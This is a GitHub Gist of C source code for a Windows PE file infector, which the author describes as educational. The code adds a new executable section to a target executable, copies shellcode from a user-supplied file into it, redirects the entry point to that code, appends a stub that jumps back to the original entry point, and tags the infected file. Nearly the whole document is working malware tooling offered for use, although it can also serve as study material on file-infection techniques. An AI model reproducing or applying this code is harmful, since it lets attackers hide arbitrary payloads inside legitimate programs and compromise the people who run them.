Last active
March 22, 2016 18:08
-
-
Save mgeeky/e27ab6f69ee9eec18214 to your computer and use it in GitHub Desktop.
Poorly coded, but doing it's job - simple PE infection utility, leveraging append-section technique. (one of those codes when my code style fu was not the way it meant to be, apologize for that)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <cstdio> | |
/////////////////////////////////////////////// | |
IMAGE_DOS_HEADER *g_iDosHdr; | |
IMAGE_FILE_HEADER *g_iFileHdr; | |
IMAGE_OPTIONAL_HEADER *g_iOptionalHdr; | |
IMAGE_SECTION_HEADER g_iNewSectHdr, | |
*g_iLastSectHdr; | |
DWORD g_dwSizeOfShellcode; | |
DWORD g_dwOEP; | |
DWORD g_dwImageBase; | |
DWORD g_dwSizeOfFile, | |
g_dwNewSizeOfFile; | |
char *g_szLoadedFile; | |
/////////////////////////////////////////////// | |
DWORD RVA2Offset( DWORD dwRVA ) | |
{ | |
DWORD dwOffset = 0; | |
int i = 0; | |
IMAGE_SECTION_HEADER* pImageSectHdr; | |
while(i < g_iFileHdr->NumberOfSections ) | |
{ | |
pImageSectHdr = | |
(IMAGE_SECTION_HEADER*)( g_szLoadedFile + g_iDosHdr->e_lfanew | |
+ 4 + sizeof( IMAGE_FILE_HEADER) + sizeof( IMAGE_OPTIONAL_HEADER ) + | |
+ ( (g_iFileHdr->NumberOfSections) * sizeof( IMAGE_SECTION_HEADER) ) ); | |
if( pImageSectHdr->VirtualAddress <= dwRVA && | |
pImageSectHdr->VirtualAddress + pImageSectHdr->Misc.VirtualSize > dwRVA ){ | |
dwOffset = dwRVA - pImageSectHdr->VirtualAddress + pImageSectHdr->PointerToRawData; | |
} | |
i++; | |
} | |
return dwOffset; | |
} | |
/////////////////////////////////////////////// | |
DWORD Offset2RVA(DWORD dwOffset) | |
{ | |
DWORD dwRVA = 0; | |
int i = 0; | |
IMAGE_SECTION_HEADER* pImageSectHdr; | |
while(i < g_iFileHdr->NumberOfSections ) | |
{ | |
pImageSectHdr = | |
(IMAGE_SECTION_HEADER*)( g_szLoadedFile + g_iDosHdr->e_lfanew | |
+ 4 + sizeof( IMAGE_FILE_HEADER) + sizeof( IMAGE_OPTIONAL_HEADER ) + | |
+ ( (g_iFileHdr->NumberOfSections) * sizeof( IMAGE_SECTION_HEADER) ) ); | |
if( pImageSectHdr->PointerToRelocations<=dwOffset && | |
pImageSectHdr->PointerToRawData + pImageSectHdr->SizeOfRawData > dwOffset ){ | |
dwRVA = dwOffset + pImageSectHdr->VirtualAddress - pImageSectHdr->PointerToRawData; | |
} | |
i++; | |
} | |
return dwRVA; | |
} | |
/////////////////////////////////////////////// | |
void CreateSection( DWORD dwSizeOfSection, DWORD dwDesiredAccess, char *szNameOfSection) | |
{ | |
IMAGE_SECTION_HEADER ish; | |
DWORD dwFileAlignment = 0, | |
dwNewVirtualAddress = 0, | |
dwSectionAlignment = 0; | |
memset( (void*)&ish, 0, sizeof( ish)); | |
dwFileAlignment = g_iOptionalHdr->FileAlignment; | |
dwSectionAlignment = g_iOptionalHdr->SectionAlignment; | |
//dwNewVirtualAddress = (g_iLastSectHdr->SizeOfRawData / dwSectionAlignment + 1) | |
// * dwSectionAlignment + g_iLastSectHdr->VirtualAddress; | |
dwNewVirtualAddress = (g_iLastSectHdr->SizeOfRawData / dwSectionAlignment + 1) * dwSectionAlignment | |
+ g_iLastSectHdr->VirtualAddress; | |
memcpy( ish.Name, szNameOfSection, IMAGE_SIZEOF_SHORT_NAME); | |
ish.Misc.VirtualSize = dwSizeOfSection; | |
ish.VirtualAddress = dwNewVirtualAddress; | |
ish.SizeOfRawData = ( dwSizeOfSection / dwFileAlignment + 1) * dwFileAlignment; | |
ish.PointerToRawData = g_iLastSectHdr->PointerToRawData + g_iLastSectHdr->SizeOfRawData; | |
ish.Characteristics = dwDesiredAccess; | |
memcpy( (void*)&g_iNewSectHdr, (const void*)&ish, sizeof( ish)); | |
g_iFileHdr->NumberOfSections ++; | |
printf( "[+] Created new section \"%s\" (VA: %Xh, size: %Xh)\n", szNameOfSection, | |
ish.VirtualAddress, ish.SizeOfRawData ); | |
} | |
/////////////////////////////////////////////// | |
void PrepareFile( char* szFileName ) | |
{ | |
DWORD dwAddrOfFileHdr = 0; | |
FILE *pFile = fopen( szFileName, "rb"); | |
if( pFile == NULL) | |
{ | |
printf( "[!] Cannot open specified input file (\"%s\") !", szFileName); | |
exit(0); | |
} | |
fseek( pFile, 0, SEEK_END); | |
g_dwSizeOfFile = ftell( pFile); | |
g_dwNewSizeOfFile = g_dwSizeOfFile + g_dwSizeOfShellcode + sizeof( IMAGE_SECTION_HEADER) + 32; | |
g_szLoadedFile = (char*)malloc( g_dwNewSizeOfFile + 8 ); | |
memset( g_szLoadedFile, 0, g_dwNewSizeOfFile+8); | |
printf( "[+] Parsing input file..."); | |
for( int i = 0; i < g_dwSizeOfFile; i++){ | |
fseek( pFile, i, SEEK_SET); | |
g_szLoadedFile[ i] = fgetc( pFile); | |
} | |
// fread( g_szLoadedFile, 1, g_dwSizeOfFile, pFile); | |
printf( "[+] Successfully read %d bytes from input file...\n", g_dwSizeOfFile); | |
memset( (void*)&g_iDosHdr, 0, sizeof( g_iDosHdr )); | |
memset( (void*)&g_iFileHdr, 0, sizeof( g_iFileHdr )); | |
memset( (void*)&g_iOptionalHdr, 0, sizeof( g_iOptionalHdr )); | |
memset( (void*)&g_iNewSectHdr, 0, sizeof( g_iNewSectHdr )); | |
memset( (void*)&g_iLastSectHdr, 0, sizeof( g_iLastSectHdr )); | |
// Gathering headers | |
g_iDosHdr = (IMAGE_DOS_HEADER*)g_szLoadedFile; | |
if( g_iDosHdr->e_magic != 23117 /* 0x5A4D */) | |
{ | |
printf( "[!] This is not valid executable file !\n"); | |
exit( 0); | |
} | |
dwAddrOfFileHdr = DWORD( g_szLoadedFile + g_iDosHdr->e_lfanew + 4); | |
g_iFileHdr = (IMAGE_FILE_HEADER*)dwAddrOfFileHdr; | |
g_iOptionalHdr = (IMAGE_OPTIONAL_HEADER*)(dwAddrOfFileHdr + sizeof( IMAGE_FILE_HEADER)); | |
IMAGE_FILE_HEADER ifh = *g_iFileHdr; | |
IMAGE_OPTIONAL_HEADER iof = *g_iOptionalHdr; | |
if( *((DWORD*)(dwAddrOfFileHdr-4)) != 0x4550) | |
{ | |
printf( "[!] Input file is not valid PE file !"); | |
exit( 0); | |
} | |
g_iLastSectHdr = (IMAGE_SECTION_HEADER*)(0x80 + sizeof( IMAGE_NT_HEADERS) + g_szLoadedFile + | |
( (g_iFileHdr->NumberOfSections-1) * sizeof( IMAGE_SECTION_HEADER))); | |
g_dwOEP = g_iOptionalHdr->AddressOfEntryPoint; | |
g_dwImageBase = g_iOptionalHdr->ImageBase; | |
printf( "[+] Successfully gathered PE headers from this executable...\n"); | |
fclose( pFile); | |
} | |
/////////////////////////////////////////////// | |
void AppendShellcode( char *szFileWithShellcode ) | |
{ | |
DWORD dwRelocatedEP = g_dwOEP + g_dwImageBase; | |
char dwJmpOEP[4] = { | |
dwRelocatedEP & 0xFF, | |
(dwRelocatedEP & 0xFF00) / 0x100, | |
(dwRelocatedEP & 0xFF0000) / 0x10000, | |
(dwRelocatedEP & 0xFF000000) / 0x1000000 | |
}; | |
/* How to calculate next bytes from: 0x12345678 | |
0. 0x78 = 0x12345678 & 0xFF = 0x78 | |
1. 0x5600 = 0x12345678 & 0xFF00 => 0x5600 / 0x100 = 0x56 | |
2. 0x340000 = 0x12345678 & 0xFF0000 => 0x340000 / 0x10000 = 0x34 | |
3. 0x12000000 = 0x12345678 & 0xFF000000 => 0x12000000 / 0x1000000 = 0x12 | |
Succession of bytes (of address): 3, 2, 1, 0 (Little Endian): 78,56,34,12 | |
*/ | |
char szAdditionalShellcode [32] = { | |
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, | |
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, | |
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, | |
0x90, 0xB8, dwJmpOEP[0], dwJmpOEP[1], dwJmpOEP[2], dwJmpOEP[3], 0xFF, 0xE0 | |
}; /* 32 bytes */ | |
/* Upper shellcode does: | |
* | |
* B8(dwRelocatedEP) mov eax, dwRelocatedEP | |
* FFE0 jmp eax | |
**/ | |
FILE *pFile = fopen( szFileWithShellcode, "rb"); | |
DWORD dwTmp = g_dwSizeOfShellcode + sizeof( szAdditionalShellcode); | |
char *pBuf = (char*) malloc( dwTmp); | |
memset( pBuf, 0, dwTmp); | |
fread( pBuf, 1, g_dwSizeOfShellcode, pFile); | |
fclose( pFile); | |
DWORD dwOffset = g_iNewSectHdr.PointerToRawData; | |
memcpy( (void*)( pBuf + g_dwSizeOfShellcode), szAdditionalShellcode, sizeof( szAdditionalShellcode)); | |
memcpy( (void*)( g_szLoadedFile+dwOffset ), pBuf, dwTmp); | |
dwTmp = g_iOptionalHdr->SizeOfImage; | |
dwTmp += g_dwSizeOfShellcode + sizeof( szAdditionalShellcode) + 1; | |
dwTmp = ( dwTmp / g_iOptionalHdr->SectionAlignment + 1) | |
* g_iOptionalHdr->SectionAlignment; | |
g_iOptionalHdr->SizeOfImage = dwTmp; | |
printf( "[+] Shellcode successfully appended (OEP: 0x%X)...\n", dwRelocatedEP ); | |
printf( "\t[?] Jump shellcode: [ %X %X %X %X %X %X %X ]\n", | |
szAdditionalShellcode[31], szAdditionalShellcode[30], szAdditionalShellcode[29], | |
szAdditionalShellcode[28], szAdditionalShellcode[27], szAdditionalShellcode[26], | |
szAdditionalShellcode[25] ); | |
free( (void*)pBuf); | |
} | |
/////////////////////////////////////////////// | |
void BuildImage( char *szImageName) | |
{ | |
printf( "[?] Preparing to build new image...\n"); | |
g_iDosHdr->e_ovno = 0xDEAD; // We leave sign of our activity (infection) | |
FILE *pFile = fopen( szImageName, "wb"); | |
if( pFile == NULL) | |
{ | |
printf( "[!] Cannot open specified output file (\"%s\") !", szImageName); | |
exit(0); | |
} | |
DWORD dwTmp1 = g_iDosHdr->e_lfanew + 4 + sizeof( IMAGE_FILE_HEADER) | |
+ sizeof( IMAGE_OPTIONAL_HEADER ) | |
+ ( (g_iFileHdr->NumberOfSections-1) * sizeof( IMAGE_SECTION_HEADER) ) ; | |
DWORD dwTmp2 = g_dwNewSizeOfFile - (dwTmp1+sizeof( g_iNewSectHdr) ); | |
fwrite( (const void*)g_szLoadedFile, 1, dwTmp1, pFile); | |
fwrite( (const void*)&g_iNewSectHdr, 1, sizeof( g_iNewSectHdr), pFile); | |
fwrite( (const void*)(g_szLoadedFile+dwTmp1+sizeof( g_iNewSectHdr)), 1, dwTmp2, pFile); | |
printf( "[+] Image successfully builded ! INFECTION SUCCESSFUL !\n"); | |
} | |
/////////////////////////////////////////////// | |
void ChangeEntryPoint( ) | |
{ | |
g_iOptionalHdr->AddressOfEntryPoint = g_iNewSectHdr.VirtualAddress; | |
printf( "[+] Entry point successfylly changed from %X to %X...\n", | |
g_dwOEP, g_iOptionalHdr->AddressOfEntryPoint); | |
} | |
/////////////////////////////////////////////// | |
void InfectFile( char *szFileName, char *szFileWithShellcode, char *szImageName, char *szSectName) | |
{ | |
if( szSectName == NULL ) szSectName = ".inf"; | |
if( strlen( szSectName) < 1) szSectName = ".inf"; | |
PrepareFile( szFileName ); | |
CreateSection( g_dwSizeOfShellcode+33, IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | | |
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE, szSectName ); | |
ChangeEntryPoint( ); | |
AppendShellcode( szFileWithShellcode ); | |
BuildImage( szImageName); | |
} | |
/////////////////////////////////////////////// | |
int main( int argc, char **argv) | |
{ | |
if( argc < 2 ) | |
{ | |
printf( "Usage:\t%s\n\t\tinput_file shellcode_file [output_file] [optional sect_name]\n" | |
"\n\tinput_file\t- file that will be patched (infected)" | |
"\n\tshellcode_file\t- file with shellcode to append" | |
"\n\toutput_file\t- (optional) name of output file" | |
"\n\tsect_name\t- (optional) name of new section\n\n" | |
"Program will simply add new section, change entry point to the\nappended" | |
" code in new section and will perfrom little\nmodification in PE headers.\t" | |
"(author: MGeeky, 10.2009 - Educational purposes)\n", | |
argv[0]); | |
exit(0); | |
} | |
printf( "[?] Exploring shellcode binary file...\n"); | |
FILE *pFile = fopen( argv[2], "rb"); | |
if( pFile == NULL) | |
{ | |
printf( "[!] Cannot open shellcode file (\"%s\") !", argv[2]); | |
exit(0); | |
} | |
fseek( pFile, 0, SEEK_END); | |
g_dwSizeOfShellcode = ftell( pFile); | |
fclose( pFile); | |
char szImageName[ 255] = ""; | |
if( strlen( argv[3] ) > 0) | |
strcpy( szImageName, argv[3] ); | |
else sprintf( szImageName, "patched.exe"); | |
fflush( stdout); | |
// Infecting file... | |
InfectFile( argv[1], argv[2], szImageName, argv[4]); | |
return 0; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment